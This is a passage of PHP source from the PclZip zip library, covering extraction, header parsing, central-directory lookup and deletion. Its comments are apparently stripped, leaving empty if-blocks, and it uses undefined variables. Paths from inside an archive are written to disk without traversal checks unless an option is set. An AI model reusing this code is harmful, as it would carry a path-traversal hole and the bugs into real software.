$v_result1 = $this->privExtractFileInOutput($v_header, $p_options); | |
if ($v_result1 < 1) { | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result1; | |
} | |
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) { | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
if ($v_result1 == 2) { | |
break; | |
} | |
} | |
else { | |
$v_result1 = $this->privExtractFile($v_header, | |
$p_path, $p_remove_path, | |
$p_remove_all_path, | |
$p_options); | |
if ($v_result1 < 1) { | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result1; | |
} | |
if (($v_result = $this->privConvertHeader2FileInfo($v_header, $p_file_list[$v_nb_extracted++])) != 1) | |
{ | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
if ($v_result1 == 2) { | |
break; | |
} | |
} | |
} | |
} | |
$this->privCloseFd(); | |
$this->privSwapBackMagicQuotes(); | |
return $v_result; | |
} | |
function privExtractFile(&$p_entry, $p_path, $p_remove_path, $p_remove_all_path, &$p_options) | |
{ | |
$v_result=1; | |
if (($v_result = $this->privReadFileHeader($v_header)) != 1) | |
{ | |
return $v_result; | |
} | |
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { | |
} | |
if ($p_remove_all_path == true) { | |
if (($p_entry['external']&0x00000010)==0x00000010) { | |
$p_entry['status'] = "filtered"; | |
return $v_result; | |
} | |
$p_entry['filename'] = basename($p_entry['filename']); | |
} | |
else if ($p_remove_path != "") | |
{ | |
if (PclZipUtilPathInclusion($p_remove_path, $p_entry['filename']) == 2) | |
{ | |
$p_entry['status'] = "filtered"; | |
return $v_result; | |
} | |
$p_remove_path_size = strlen($p_remove_path); | |
if (substr($p_entry['filename'], 0, $p_remove_path_size) == $p_remove_path) | |
{ | |
$p_entry['filename'] = substr($p_entry['filename'], $p_remove_path_size); | |
} | |
} | |
if ($p_path != '') { | |
$p_entry['filename'] = $p_path."/".$p_entry['filename']; | |
} | |
if (isset($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION])) { | |
$v_inclusion | |
= PclZipUtilPathInclusion($p_options[PCLZIP_OPT_EXTRACT_DIR_RESTRICTION], | |
$p_entry['filename']); | |
if ($v_inclusion == 0) { | |
PclZip::privErrorLog(PCLZIP_ERR_DIRECTORY_RESTRICTION, | |
"Filename '".$p_entry['filename']."' is " | |
."outside PCLZIP_OPT_EXTRACT_DIR_RESTRICTION"); | |
return PclZip::errorCode(); | |
} | |
} | |
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_entry, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); | |
if ($v_result == 0) { | |
$p_entry['status'] = "skipped"; | |
$v_result = 1; | |
} | |
if ($v_result == 2) { | |
$p_entry['status'] = "aborted"; | |
$v_result = PCLZIP_ERR_USER_ABORTED; | |
} | |
$p_entry['filename'] = $v_local_header['filename']; | |
} | |
if ($p_entry['status'] == 'ok') { | |
if (file_exists($p_entry['filename'])) | |
{ | |
if (is_dir($p_entry['filename'])) | |
{ | |
$p_entry['status'] = "already_a_directory"; | |
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) | |
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { | |
PclZip::privErrorLog(PCLZIP_ERR_ALREADY_A_DIRECTORY, | |
"Filename '".$p_entry['filename']."' is " | |
."already used by an existing directory"); | |
return PclZip::errorCode(); | |
} | |
} | |
else if (!is_writeable($p_entry['filename'])) | |
{ | |
$p_entry['status'] = "write_protected"; | |
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) | |
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { | |
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, | |
"Filename '".$p_entry['filename']."' exists " | |
."and is write protected"); | |
return PclZip::errorCode(); | |
} | |
} | |
else if (filemtime($p_entry['filename']) > $p_entry['mtime']) | |
{ | |
if ( (isset($p_options[PCLZIP_OPT_REPLACE_NEWER])) | |
&& ($p_options[PCLZIP_OPT_REPLACE_NEWER]===true)) { | |
} | |
else { | |
$p_entry['status'] = "newer_exist"; | |
if ( (isset($p_options[PCLZIP_OPT_STOP_ON_ERROR])) | |
&& ($p_options[PCLZIP_OPT_STOP_ON_ERROR]===true)) { | |
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, | |
"Newer version of '".$p_entry['filename']."' exists " | |
."and option PCLZIP_OPT_REPLACE_NEWER is not selected"); | |
return PclZip::errorCode(); | |
} | |
} | |
} | |
else { | |
} | |
} | |
else { | |
if ((($p_entry['external']&0x00000010)==0x00000010) || (substr($p_entry['filename'], -1) == '/')) | |
$v_dir_to_check = $p_entry['filename']; | |
else if (!strstr($p_entry['filename'], "/")) | |
$v_dir_to_check = ""; | |
else | |
$v_dir_to_check = dirname($p_entry['filename']); | |
if (($v_result = $this->privDirCheck($v_dir_to_check, (($p_entry['external']&0x00000010)==0x00000010))) != 1) { | |
$p_entry['status'] = "path_creation_fail"; | |
$v_result = 1; | |
} | |
} | |
} | |
if ($p_entry['status'] == 'ok') { | |
if (!(($p_entry['external']&0x00000010)==0x00000010)) | |
{ | |
if ($p_entry['compression'] == 0) { | |
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) | |
{ | |
$p_entry['status'] = "write_error"; | |
return $v_result; | |
} | |
$v_size = $p_entry['compressed_size']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($this->zip_fd, $v_read_size); | |
@fwrite($v_dest_file, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
fclose($v_dest_file); | |
touch($p_entry['filename'], $p_entry['mtime']); | |
} | |
else { | |
if (($p_entry['flag'] & 1) == 1) { | |
PclZip::privErrorLog(PCLZIP_ERR_UNSUPPORTED_ENCRYPTION, 'File \''.$p_entry['filename'].'\' is encrypted. Encrypted files are not supported.'); | |
return PclZip::errorCode(); | |
} | |
if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) | |
&& (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON]) | |
|| (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) | |
&& ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_entry['size'])) ) ) { | |
$v_result = $this->privExtractFileUsingTempFile($p_entry, $p_options); | |
if ($v_result < PCLZIP_ERR_NO_ERROR) { | |
return $v_result; | |
} | |
} | |
else { | |
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); | |
$v_file_content = @gzinflate($v_buffer); | |
unset($v_buffer); | |
if ($v_file_content === FALSE) { | |
$p_entry['status'] = "error"; | |
return $v_result; | |
} | |
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { | |
$p_entry['status'] = "write_error"; | |
return $v_result; | |
} | |
@fwrite($v_dest_file, $v_file_content, $p_entry['size']); | |
unset($v_file_content); | |
@fclose($v_dest_file); | |
} | |
@touch($p_entry['filename'], $p_entry['mtime']); | |
} | |
if (isset($p_options[PCLZIP_OPT_SET_CHMOD])) { | |
@chmod($p_entry['filename'], $p_options[PCLZIP_OPT_SET_CHMOD]); | |
} | |
} | |
} | |
if ($p_entry['status'] == "aborted") { | |
$p_entry['status'] = "skipped"; | |
} | |
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_entry, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); | |
if ($v_result == 2) { | |
$v_result = PCLZIP_ERR_USER_ABORTED; | |
} | |
} | |
return $v_result; | |
} | |
function privExtractFileUsingTempFile(&$p_entry, &$p_options) | |
{ | |
$v_result=1; | |
$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz'; | |
if (($v_dest_file = @fopen($v_gzip_temp_name, "wb")) == 0) { | |
fclose($v_file); | |
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode'); | |
return PclZip::errorCode(); | |
} | |
$v_binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($p_entry['compression']), Chr(0x00), time(), Chr(0x00), Chr(3)); | |
@fwrite($v_dest_file, $v_binary_data, 10); | |
$v_size = $p_entry['compressed_size']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($this->zip_fd, $v_read_size); | |
@fwrite($v_dest_file, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$v_binary_data = pack('VV', $p_entry['crc'], $p_entry['size']); | |
@fwrite($v_dest_file, $v_binary_data, 8); | |
@fclose($v_dest_file); | |
if (($v_dest_file = @fopen($p_entry['filename'], 'wb')) == 0) { | |
$p_entry['status'] = "write_error"; | |
return $v_result; | |
} | |
if (($v_src_file = @gzopen($v_gzip_temp_name, 'rb')) == 0) { | |
@fclose($v_dest_file); | |
$p_entry['status'] = "read_error"; | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode'); | |
return PclZip::errorCode(); | |
} | |
$v_size = $p_entry['size']; | |
while ($v_size != 0) { | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @gzread($v_src_file, $v_read_size); | |
@fwrite($v_dest_file, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
@fclose($v_dest_file); | |
@gzclose($v_src_file); | |
@unlink($v_gzip_temp_name); | |
return $v_result; | |
} | |
function privExtractFileInOutput(&$p_entry, &$p_options) | |
{ | |
$v_result=1; | |
if (($v_result = $this->privReadFileHeader($v_header)) != 1) { | |
return $v_result; | |
} | |
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { | |
} | |
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_entry, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); | |
if ($v_result == 0) { | |
$p_entry['status'] = "skipped"; | |
$v_result = 1; | |
} | |
if ($v_result == 2) { | |
$p_entry['status'] = "aborted"; | |
$v_result = PCLZIP_ERR_USER_ABORTED; | |
} | |
$p_entry['filename'] = $v_local_header['filename']; | |
} | |
if ($p_entry['status'] == 'ok') { | |
if (!(($p_entry['external']&0x00000010)==0x00000010)) { | |
if ($p_entry['compressed_size'] == $p_entry['size']) { | |
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); | |
echo $v_buffer; | |
unset($v_buffer); | |
} | |
else { | |
$v_buffer = @fread($this->zip_fd, $p_entry['compressed_size']); | |
$v_file_content = gzinflate($v_buffer); | |
unset($v_buffer); | |
echo $v_file_content; | |
unset($v_file_content); | |
} | |
} | |
} | |
if ($p_entry['status'] == "aborted") { | |
$p_entry['status'] = "skipped"; | |
} | |
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_entry, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); | |
if ($v_result == 2) { | |
$v_result = PCLZIP_ERR_USER_ABORTED; | |
} | |
} | |
return $v_result; | |
} | |
function privExtractFileAsString(&$p_entry, &$p_string, &$p_options) | |
{ | |
$v_result=1; | |
$v_header = array(); | |
if (($v_result = $this->privReadFileHeader($v_header)) != 1) | |
{ | |
return $v_result; | |
} | |
if ($this->privCheckFileHeaders($v_header, $p_entry) != 1) { | |
} | |
if (isset($p_options[PCLZIP_CB_PRE_EXTRACT])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_entry, $v_local_header); | |
$v_result = $p_options[PCLZIP_CB_PRE_EXTRACT](PCLZIP_CB_PRE_EXTRACT, $v_local_header); | |
if ($v_result == 0) { | |
$p_entry['status'] = "skipped"; | |
$v_result = 1; | |
} | |
if ($v_result == 2) { | |
$p_entry['status'] = "aborted"; | |
$v_result = PCLZIP_ERR_USER_ABORTED; | |
} | |
$p_entry['filename'] = $v_local_header['filename']; | |
} | |
if ($p_entry['status'] == 'ok') { | |
if (!(($p_entry['external']&0x00000010)==0x00000010)) { | |
if ($p_entry['compression'] == 0) { | |
$p_string = @fread($this->zip_fd, $p_entry['compressed_size']); | |
} | |
else { | |
$v_data = @fread($this->zip_fd, $p_entry['compressed_size']); | |
if (($p_string = @gzinflate($v_data)) === FALSE) { | |
} | |
} | |
} | |
else { | |
} | |
} | |
if ($p_entry['status'] == "aborted") { | |
$p_entry['status'] = "skipped"; | |
} | |
elseif (isset($p_options[PCLZIP_CB_POST_EXTRACT])) { | |
$v_local_header = array(); | |
$this->privConvertHeader2FileInfo($p_entry, $v_local_header); | |
$v_local_header['content'] = $p_string; | |
$p_string = ''; | |
$v_result = $p_options[PCLZIP_CB_POST_EXTRACT](PCLZIP_CB_POST_EXTRACT, $v_local_header); | |
$p_string = $v_local_header['content']; | |
unset($v_local_header['content']); | |
if ($v_result == 2) { | |
$v_result = PCLZIP_ERR_USER_ABORTED; | |
} | |
} | |
return $v_result; | |
} | |
function privReadFileHeader(&$p_header) | |
{ | |
$v_result=1; | |
$v_binary_data = @fread($this->zip_fd, 4); | |
$v_data = unpack('Vid', $v_binary_data); | |
if ($v_data['id'] != 0x04034b50) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); | |
return PclZip::errorCode(); | |
} | |
$v_binary_data = fread($this->zip_fd, 26); | |
if (strlen($v_binary_data) != 26) | |
{ | |
$p_header['filename'] = ""; | |
$p_header['status'] = "invalid_header"; | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); | |
return PclZip::errorCode(); | |
} | |
$v_data = unpack('vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len', $v_binary_data); | |
$p_header['filename'] = fread($this->zip_fd, $v_data['filename_len']); | |
if ($v_data['extra_len'] != 0) { | |
$p_header['extra'] = fread($this->zip_fd, $v_data['extra_len']); | |
} | |
else { | |
$p_header['extra'] = ''; | |
} | |
$p_header['version_extracted'] = $v_data['version']; | |
$p_header['compression'] = $v_data['compression']; | |
$p_header['size'] = $v_data['size']; | |
$p_header['compressed_size'] = $v_data['compressed_size']; | |
$p_header['crc'] = $v_data['crc']; | |
$p_header['flag'] = $v_data['flag']; | |
$p_header['filename_len'] = $v_data['filename_len']; | |
$p_header['mdate'] = $v_data['mdate']; | |
$p_header['mtime'] = $v_data['mtime']; | |
if ($p_header['mdate'] && $p_header['mtime']) | |
{ | |
$v_hour = ($p_header['mtime'] & 0xF800) >> 11; | |
$v_minute = ($p_header['mtime'] & 0x07E0) >> 5; | |
$v_seconde = ($p_header['mtime'] & 0x001F)*2; | |
$v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; | |
$v_month = ($p_header['mdate'] & 0x01E0) >> 5; | |
$v_day = $p_header['mdate'] & 0x001F; | |
$p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); | |
} | |
else | |
{ | |
$p_header['mtime'] = time(); | |
} | |
$p_header['stored_filename'] = $p_header['filename']; | |
$p_header['status'] = "ok"; | |
return $v_result; | |
} | |
function privReadCentralFileHeader(&$p_header) | |
{ | |
$v_result=1; | |
$v_binary_data = @fread($this->zip_fd, 4); | |
$v_data = unpack('Vid', $v_binary_data); | |
if ($v_data['id'] != 0x02014b50) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Invalid archive structure'); | |
return PclZip::errorCode(); | |
} | |
$v_binary_data = fread($this->zip_fd, 42); | |
if (strlen($v_binary_data) != 42) | |
{ | |
$p_header['filename'] = ""; | |
$p_header['status'] = "invalid_header"; | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid block size : ".strlen($v_binary_data)); | |
return PclZip::errorCode(); | |
} | |
$p_header = unpack('vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $v_binary_data); | |
if ($p_header['filename_len'] != 0) | |
$p_header['filename'] = fread($this->zip_fd, $p_header['filename_len']); | |
else | |
$p_header['filename'] = ''; | |
if ($p_header['extra_len'] != 0) | |
$p_header['extra'] = fread($this->zip_fd, $p_header['extra_len']); | |
else | |
$p_header['extra'] = ''; | |
if ($p_header['comment_len'] != 0) | |
$p_header['comment'] = fread($this->zip_fd, $p_header['comment_len']); | |
else | |
$p_header['comment'] = ''; | |
if (1) | |
{ | |
$v_hour = ($p_header['mtime'] & 0xF800) >> 11; | |
$v_minute = ($p_header['mtime'] & 0x07E0) >> 5; | |
$v_seconde = ($p_header['mtime'] & 0x001F)*2; | |
$v_year = (($p_header['mdate'] & 0xFE00) >> 9) + 1980; | |
$v_month = ($p_header['mdate'] & 0x01E0) >> 5; | |
$v_day = $p_header['mdate'] & 0x001F; | |
$p_header['mtime'] = @mktime($v_hour, $v_minute, $v_seconde, $v_month, $v_day, $v_year); | |
} | |
else | |
{ | |
$p_header['mtime'] = time(); | |
} | |
$p_header['stored_filename'] = $p_header['filename']; | |
$p_header['status'] = 'ok'; | |
if (substr($p_header['filename'], -1) == '/') { | |
$p_header['external'] = 0x00000010; | |
} | |
return $v_result; | |
} | |
function privCheckFileHeaders(&$p_local_header, &$p_central_header) | |
{ | |
$v_result=1; | |
if ($p_local_header['filename'] != $p_central_header['filename']) { | |
} | |
if ($p_local_header['version_extracted'] != $p_central_header['version_extracted']) { | |
} | |
if ($p_local_header['flag'] != $p_central_header['flag']) { | |
} | |
if ($p_local_header['compression'] != $p_central_header['compression']) { | |
} | |
if ($p_local_header['mtime'] != $p_central_header['mtime']) { | |
} | |
if ($p_local_header['filename_len'] != $p_central_header['filename_len']) { | |
} | |
if (($p_local_header['flag'] & 8) == 8) { | |
$p_local_header['size'] = $p_central_header['size']; | |
$p_local_header['compressed_size'] = $p_central_header['compressed_size']; | |
$p_local_header['crc'] = $p_central_header['crc']; | |
} | |
return $v_result; | |
} | |
function privReadEndCentralDir(&$p_central_dir) | |
{ | |
$v_result=1; | |
$v_size = filesize($this->zipname); | |
@fseek($this->zip_fd, $v_size); | |
if (@ftell($this->zip_fd) != $v_size) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to go to the end of the archive \''.$this->zipname.'\''); | |
return PclZip::errorCode(); | |
} | |
$v_found = 0; | |
if ($v_size > 26) { | |
@fseek($this->zip_fd, $v_size-22); | |
if (($v_pos = @ftell($this->zip_fd)) != ($v_size-22)) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); | |
return PclZip::errorCode(); | |
} | |
$v_binary_data = @fread($this->zip_fd, 4); | |
$v_data = @unpack('Vid', $v_binary_data); | |
if ($v_data['id'] == 0x06054b50) { | |
$v_found = 1; | |
} | |
$v_pos = ftell($this->zip_fd); | |
} | |
if (!$v_found) { | |
if ($v_maximum_size > $v_size) | |
$v_maximum_size = $v_size; | |
@fseek($this->zip_fd, $v_size-$v_maximum_size); | |
if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size)) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\''); | |
return PclZip::errorCode(); | |
} | |
$v_pos = ftell($this->zip_fd); | |
$v_bytes = 0x00000000; | |
while ($v_pos < $v_size) | |
{ | |
$v_byte = @fread($this->zip_fd, 1); | |
$v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); | |
if ($v_bytes == 0x504b0506) | |
{ | |
$v_pos++; | |
break; | |
} | |
$v_pos++; | |
} | |
if ($v_pos == $v_size) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature"); | |
return PclZip::errorCode(); | |
} | |
} | |
$v_binary_data = fread($this->zip_fd, 18); | |
if (strlen($v_binary_data) != 18) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data)); | |
return PclZip::errorCode(); | |
} | |
$v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data); | |
if (($v_pos + $v_data['comment_size'] + 18) != $v_size) { | |
if (0) { | |
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, | |
'The central dir is not at the end of the archive.' | |
.' Some trailing bytes exists after the archive.'); | |
return PclZip::errorCode(); | |
} | |
} | |
if ($v_data['comment_size'] != 0) { | |
$p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']); | |
} | |
else | |
$p_central_dir['comment'] = ''; | |
$p_central_dir['entries'] = $v_data['entries']; | |
$p_central_dir['disk_entries'] = $v_data['disk_entries']; | |
$p_central_dir['offset'] = $v_data['offset']; | |
$p_central_dir['size'] = $v_data['size']; | |
$p_central_dir['disk'] = $v_data['disk']; | |
$p_central_dir['disk_start'] = $v_data['disk_start']; | |
return $v_result; | |
} | |
function privDeleteByRule(&$p_result_list, &$p_options) | |
{ | |
$v_result=1; | |
$v_list_detail = array(); | |
if (($v_result=$this->privOpenFd('rb')) != 1) | |
{ | |
return $v_result; | |
} | |
$v_central_dir = array(); | |
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) | |
{ | |
$this->privCloseFd(); | |
return $v_result; | |
} | |
@rewind($this->zip_fd); | |
$v_pos_entry = $v_central_dir['offset']; | |
@rewind($this->zip_fd); | |
if (@fseek($this->zip_fd, $v_pos_entry)) | |
{ | |
$this->privCloseFd(); | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); | |
return PclZip::errorCode(); | |
} | |
$v_header_list = array(); | |
$j_start = 0; | |
for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) | |
{ | |
$v_header_list[$v_nb_extracted] = array(); | |
if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) | |
{ | |
$this->privCloseFd(); | |
return $v_result; | |
} | |
$v_header_list[$v_nb_extracted]['index'] = $i; | |
$v_found = false; | |
if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) | |
&& ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { | |
for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) { | |
if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { | |
if ( (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) | |
&& (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { | |
$v_found = true; | |
} | |
elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) | |
&& ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { | |
$v_found = true; | |
} | |
} | |
elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { | |
$v_found = true; | |
} | |
} | |
} | |
else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) | |
&& ($p_options[PCLZIP_OPT_BY_PREG] != "")) { | |
if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { | |
$v_found = true; | |
} | |
} | |
else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) | |
&& ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { | |
for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) { | |
if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { | |
$v_found = true; | |
} | |
if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { | |
$j_start = $j+1; | |
} | |
if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { | |
break; | |
} | |
} | |
} | |
else { | |
$v_found = true; | |
} | |
if ($v_found) | |
{ | |
unset($v_header_list[$v_nb_extracted]); | |
} | |
else | |
{ | |
$v_nb_extracted++; | |
} | |
} | |
if ($v_nb_extracted > 0) { | |
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; | |
$v_temp_zip = new PclZip($v_zip_temp_name); | |
if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) { | |
$this->privCloseFd(); | |
return $v_result; | |
} | |
for ($i=0; $i<sizeof($v_header_list); $i++) { | |
@rewind($this->zip_fd); | |
if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) { | |
$this->privCloseFd(); | |
$v_temp_zip->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); | |
return PclZip::errorCode(); | |
} | |
$v_local_header = array(); | |
if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { | |
$this->privCloseFd(); | |
$v_temp_zip->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
return $v_result; | |
} | |
if ($this->privCheckFileHeaders($v_local_header, | |
$v_header_list[$i]) != 1) { | |
} | |
unset($v_local_header); | |
if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { | |
$this->privCloseFd(); | |
$v_temp_zip->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
return $v_result; | |
} | |
if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) { | |
$this->privCloseFd(); | |
$v_temp_zip->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
return $v_result; | |
} | |
} | |
$v_offset = @ftell($v_temp_zip->zip_fd); | |
for ($i=0; $i<sizeof($v_header_list); $i++) { | |
if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) { | |
$v_temp_zip->privCloseFd(); | |
$this->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
return $v_result; | |
} | |
$v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); | |
} | |
$v_comment = ''; | |
if (isset($p_options[PCLZIP_OPT_COMMENT])) { | |
$v_comment = $p_options[PCLZIP_OPT_COMMENT]; | |
} | |
$v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; | |
if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { | |
unset($v_header_list); | |
$v_temp_zip->privCloseFd(); | |
$this->privCloseFd(); | |
@unlink($v_zip_temp_name); | |
return $v_result; | |
} | |
$v_temp_zip->privCloseFd(); | |
$this->privCloseFd(); | |
@unlink($this->zipname); | |
PclZipUtilRename($v_zip_temp_name, $this->zipname); | |
unset($v_temp_zip); | |
} | |
else if ($v_central_dir['entries'] != 0) { | |
$this->privCloseFd(); | |
if (($v_result = $this->privOpenFd('wb')) != 1) { | |
return $v_result; | |
} | |
if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) { | |
return $v_result; | |
} | |
$this->privCloseFd(); | |
} | |
return $v_result; | |
} | |
function privDirCheck($p_dir, $p_is_dir=false) | |
{ | |
$v_result = 1; | |
if (($p_is_dir) && (substr($p_dir, -1)=='/')) | |
{ | |
$p_dir = substr($p_dir, 0, strlen($p_dir)-1); | |
} | |
if ((is_dir($p_dir)) || ($p_dir == "")) | |
{ | |
return 1; | |
} | |
$p_parent_dir = dirname($p_dir); | |
if ($p_parent_dir != $p_dir) | |
{ | |
if ($p_parent_dir != "") | |
{ | |
if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) | |
{ | |
return $v_result; | |
} | |
} | |
} | |
if (!@mkdir($p_dir, 0777)) | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'"); | |
return PclZip::errorCode(); | |
} | |
return $v_result; | |
} | |
function privMerge(&$p_archive_to_add) | |
{ | |
$v_result=1; | |
if (!is_file($p_archive_to_add->zipname)) | |
{ | |
$v_result = 1; | |
return $v_result; | |
} | |
if (!is_file($this->zipname)) | |
{ | |
$v_result = $this->privDuplicate($p_archive_to_add->zipname); | |
return $v_result; | |
} | |
if (($v_result=$this->privOpenFd('rb')) != 1) | |
{ | |
return $v_result; | |
} | |
$v_central_dir = array(); | |
